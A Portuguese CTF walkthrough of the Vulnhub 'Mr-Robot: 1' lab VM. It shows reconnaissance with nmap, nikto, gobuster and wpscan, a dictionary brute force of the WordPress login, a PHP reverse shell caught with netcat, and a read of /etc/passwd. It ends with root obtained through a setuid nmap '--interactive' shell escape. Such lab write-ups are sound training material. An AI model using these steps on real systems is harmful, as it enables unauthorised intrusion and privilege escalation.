Mr-Robot: 1
Estava com tempo livre, subi outra máquina virtual do Vulnhub. Dessa vez vamos brincar com Mr-Robot: 1.
📝 Note: Baseado na série de TV, Mr. Robot. Esta VM tem três chaves ocultas em locais diferentes. Seu objetivo é encontrar todos as três. Cada chave é progressivamente mais difícil de encontrar. A VM não é muito difícil. Não há exploração avançada ou engenharia reversa. O nível é considerado iniciante-intermediário.
Para começar, vamos identificar o endereço do alvo:
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #netdiscover -i eth0 -r 192.168.88.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
37 Captured ARP Req/Rep packets, from 14 hosts. Total size: 2220
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.88.11 00:0c:29:5d:a2:fd 1 60 VMware, Inc.
Agora uma enumeração simples, procurando portas abertas.
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #nmap -oA nmap-simple-mrrobot 192.168.88.11
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-03 12:35 -03
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 100.00% done; ETC: 12:35 (0:00:00 remaining)
Nmap scan report for 192.168.88.11
Host is up (0.00046s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
MAC Address: 00:0C:29:5D:A2:FD (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds
Já veio alguma coisa. Agora vou para usar os scripts do nmap e verificar a versão.
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #nmap -p22,80,443 -sC -sV --version-all -oA nmap-sC-mrrobot 192.168.88.11
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-04 08:59 -03
Nmap scan report for 192.168.88.11
Host is up (0.00055s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 00:0C:29:5D:A2:FD (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.06 seconds
Ok, isso não nos diz muita coisa. Vamos dar uma olhada com o navegador e ver o que o Apache está servindo.
Ah, legal, um terminal da web, alguns comandos disponíveis que permitem que você brinque, mas não muito mais que isso, não é realmente útil. Como temos uma página da web aberta, também podemos verificar o arquivo robots.txt para ver se há algo lá.
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #curl http://192.168.88.11/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
Olhe para isso! Parece que já encontramos uma chave e outro arquivo. Podemos ler estes?
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #curl http://192.168.88.11/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
Eba! Vou fazer uma cópia local.
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wget http://192.168.88.11/key-1-of-3.txt
--2019-06-04 09:04:17-- http://192.168.88.11/key-1-of-3.txt
Connecting to 192.168.88.11:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: ‘key-1-of-3.txt’
key-1-of-3.txt 100%[=============================>] 33 --.-KB/s in 0s
2019-06-04 09:04:17 (6.65 MB/s) - ‘key-1-of-3.txt’ saved [33/33]
Vou baixar também este outro arquivo:
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wget http://192.168.88.11/fsocity.dic
--2019-06-04 09:37:29-- http://192.168.88.11/fsocity.dic
Connecting to 192.168.88.11:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’
fsocity.dic 100%[=============================>] 6.91M --.-KB/s in 0.07s
2019-06-04 09:37:29 (96.5 MB/s) - ‘fsocity.dic’ saved [7245381/7245381]
Eu abri o arquivo e é um dicionário. Você já tinha adivinhado isso, mas eu tinha que conferir. Dando uma olhada no conteúdo, pude ver algumas entradas duplicadas. Vou ver com quantas entradas estamos lidando:
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wc -l fsocity.dic
858160 fsocity.dic
E agora para remover as entradas duplicadas. Podemos usar ‘sort’ para encurtar esta lista.
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #cat fsocity.dic | sort -u > fsocity-u.dic
Outra verificação de tamanho.
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wc -l fsocity-u.dic
11451 fsocity-u.dic
Ok, reduzimos o dicionário para um tamanho mais razoável, mas ainda não tenho ideia de como usá-lo. Vamos deixá-lo de lado para mais tarde e continuar enumerando:
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #nikto -h http://192.168.88.11 -output nikto.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.88.11
+ Target Hostname: 192.168.88.11
+ Target Port: 80
+ Start Time: 2019-06-04 09:05:03 (GMT-3)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.88.11/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2019-06-04 09:16:01 (GMT-3) (658 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Achei uma instalação do Wordpress, interessante né? Indo em frente…
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #gobuster -w /usr/share/wordlists/dirb/big.txt -u http://192.168.88.11 -o gobuster.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://192.168.88.11/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/big.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/06/04 09:06:11 Starting gobuster
=====================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/0 (Status: 301)
/0000 (Status: 301)
/Image (Status: 301)
/admin (Status: 301)
/atom (Status: 301)
/audio (Status: 301)
/blog (Status: 301)
/css (Status: 301)
/dashboard (Status: 302)
/favicon.ico (Status: 200)
/feed (Status: 301)
/image (Status: 301)
/images (Status: 301)
/intro (Status: 200)
/js (Status: 301)
/license (Status: 200)
/login (Status: 302)
/page1 (Status: 301)
/phpmyadmin (Status: 403)
/rdf (Status: 301)
/readme (Status: 200)
/robots (Status: 200)
/robots.txt (Status: 200)
/rss (Status: 301)
/rss2 (Status: 301)
/sitemap (Status: 200)
/sitemap.xml (Status: 200)
/video (Status: 301)
/wp-admin (Status: 301)
/wp-content (Status: 301)
/wp-config (Status: 200)
/wp-includes (Status: 301)
/wp-login (Status: 200)
=====================================================
2019/06/04 09:14:51 Finished
=====================================================
Até agora pegamos um flag, um dicionário que tinha entradas duplicadas (já limpas) e descobrimos um wordpress instalado junto com alguns outros diretórios.
Vamos executar o wpscan para enumerar mais.
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wpscan --url http://192.168.88.11/ --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.5.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[+] URL: http://192.168.88.11/
[+] Started: Tue Jun 4 10:21:02 2019
...
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <================> (10 / 10) 100.00% Time: 00:00:00
[i] No Users Found.
[+] Finished: Tue Jun 4 10:21:04 2019
[+] Requests Done: 13
[+] Cached Requests: 49
[+] Data Sent: 2.503 KB
[+] Data Received: 20.305 KB
[+] Memory used: 84.137 MB
[+] Elapsed time: 00:00:01
Espere, e se eu usasse esse dicionário aqui?
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wpscan --url 192.168.88.11 -U ./fsocity-u.dic -P ./fsocity-u.dic
...
Progress Time: 00:30:04 <====== > (2454 / 11451) 21.43% ETA: 01:50:16
Progress Time: 02:15:41 <=============================> (11451 / 11451) 100.00% Time: 02:15:41
[i] No Valid Passwords Found.
[+] Finished: Tue Jun 4 12:38:09 2019
[+] Requests Done: 11392
[+] Cached Requests: 114
[+] Data Sent: 2.878 MB
[+] Data Received: 7.142 MB
[+] Memory used: 280.406 MB
[+] Elapsed time: 02:15:42
Esse processo está demorando muito, deve haver uma maneira melhor/mais rápida…
Saber um pouco sobre o show não faria mal, né? Tiro de sorte para o nome de usuário, vamos tentar o personagem principal da série:
Bonsoir Elliot! Encontramos um usuário válido. Muito legal. Isso agiliza as coisas.
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #wpscan --url 192.168.88.11 -U 'elliot' -P './fsocity-u.dic'
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - elliot / ER28-0652
All Found
Progress Time: 00:00:14 <=================== > (12 / 22) 54.54% ETA: ??:??:??
[i] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
Muito mais rápido. Ok, agora estamos dentro. Vou editar o plugin hello dolly e colocar o php-reverse-shell lá.
… e então eu quebrei o plugin hello dolly. Raramente funciona como pretendido e não sei por que continuo usando este plugin.
De qualquer forma, resolvi editar a página 404 para o tema atual:
Agora antes de acessar qualquer página inexistente, deixe-me disparar o nc:
┌─[root@rocinante]─[/home/w1zard/Documents/lab/vulnhub/mrrobot]
└──╼ #nc -lvp 4321
listening on [any] 4321 ...
192.168.88.11: inverse host lookup failed: Unknown host
connect to [192.168.88.16] from (UNKNOWN) [192.168.88.11] 45347
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
14:43:56 up 2:49, 0 users, load average: 0.02, 0.09, 0.13
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$
Temos uma concha! Gerando um tty totalmente interativo do python:
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$
Por curiosidade, verificando o passwd procurando alguns usuários…
daemon@linux:/home/robot$ cat /etc/passwd
cat /etc/passwd
root: x :0:0:root:/root:/bin/bash
daemon: x :1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin: x :2:2:bin:/bin:/usr/sbin/nologin
sys: x :3:3:sys:/dev:/usr/sbin/nologin
sync: x :4:65534:sync:/bin:/bin/sync
games: x :5:60:games:/usr/games:/usr/sbin/nologin
man: x :6:12: man :/var/cache/man:/usr/sbin/nologin
lp: x :7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail: x :8:8:mail:/var/mail:/usr/sbin/nologin
news: x :9:9:news:/var/spool/news:/usr/sbin/nologin
uucp: x :10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy: x :13:13:proxy:/bin:/usr/sbin/nologin
www-data: x :33:33:www-data:/var/www:/usr/sbin/nologin
backup: x :34:34:backup:/var/backups:/usr/sbin/nologin
list: x :38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc: x :39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats: x :41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody: x :65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid: x : 100 :101::/var/lib/libuuid:
syslog: x :101:104::/home/syslog:/bin/false
sshd: x :102:65534::/var/run/sshd:/usr/sbin/nologin
ftp: x :103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp: x :1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql: x :1001:1001::/home/mysql:
varnish: x :999:999::/home/varnish:
robot: x :1002:1002::/home/robot:
… e dando uma olhada no que temos por aí:
daemon@linux:/home/robot$ ls -lrtha
ls -lrtha
total 16K
drwxr-xr-x 3 root root 4.0K Nov 13 2015 ..
drwxr-xr-x 2 root root 4.0K Nov 13 2015 .
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
Oi amigo, outra flag? Mas não estou com o usuário certo. Este daemon não tem permissão para ler a flag, mas todos os grupos podem ler o password.raw-md5.
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
Um hash precisa ser descriptografado. Em vez de usar john the ripper ou hashcat, deixe-me procurar um hash já descriptografado nas interwebs.
Grande sucesso! Então, apenas mudamos o usuário para o robô:
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
Agora podemos ler a flag:
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
Duas flags na mão. Agora, eo priv esc?
robot@linux:/$ uname -a
uname -a
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
Eu estava pronto para usar o dirtyc0w, mas decidi fazer outra coisa primeiro. Procurando algo com permissões elevadas:
robot@linux:~$ find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null
find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 69120 Feb 12 2015 /bin/umount
-rwsr-xr-x 1 root root 94792 Feb 12 2015 /bin/mount
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 36936 Feb 17 2014 /bin/su
-rwsr-xr-x 1 root root 47032 Feb 17 2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 32464 Feb 17 2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 41336 Feb 17 2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 46424 Feb 17 2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 68152 Feb 17 2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 155008 Mar 12 2015 /usr/bin/sudo
-rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 440416 May 12 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 13628 May 31 13:28 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 May 31 13:28 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10344 Feb 25 2015 /usr/lib/pt_chown
Olhe para isso! nmap per se já é incomum estar presente em uma máquina, mas com um setuid ativado, é um presente. Qualquer usuário executando esse executável obterá as permissões do indivíduo ou grupo que possui o arquivo.
robot@linux:/$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# ls /root
ls /root
firstboot_done key-3-of-3.txt
# cat /root/key-3-of-3.txt
cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4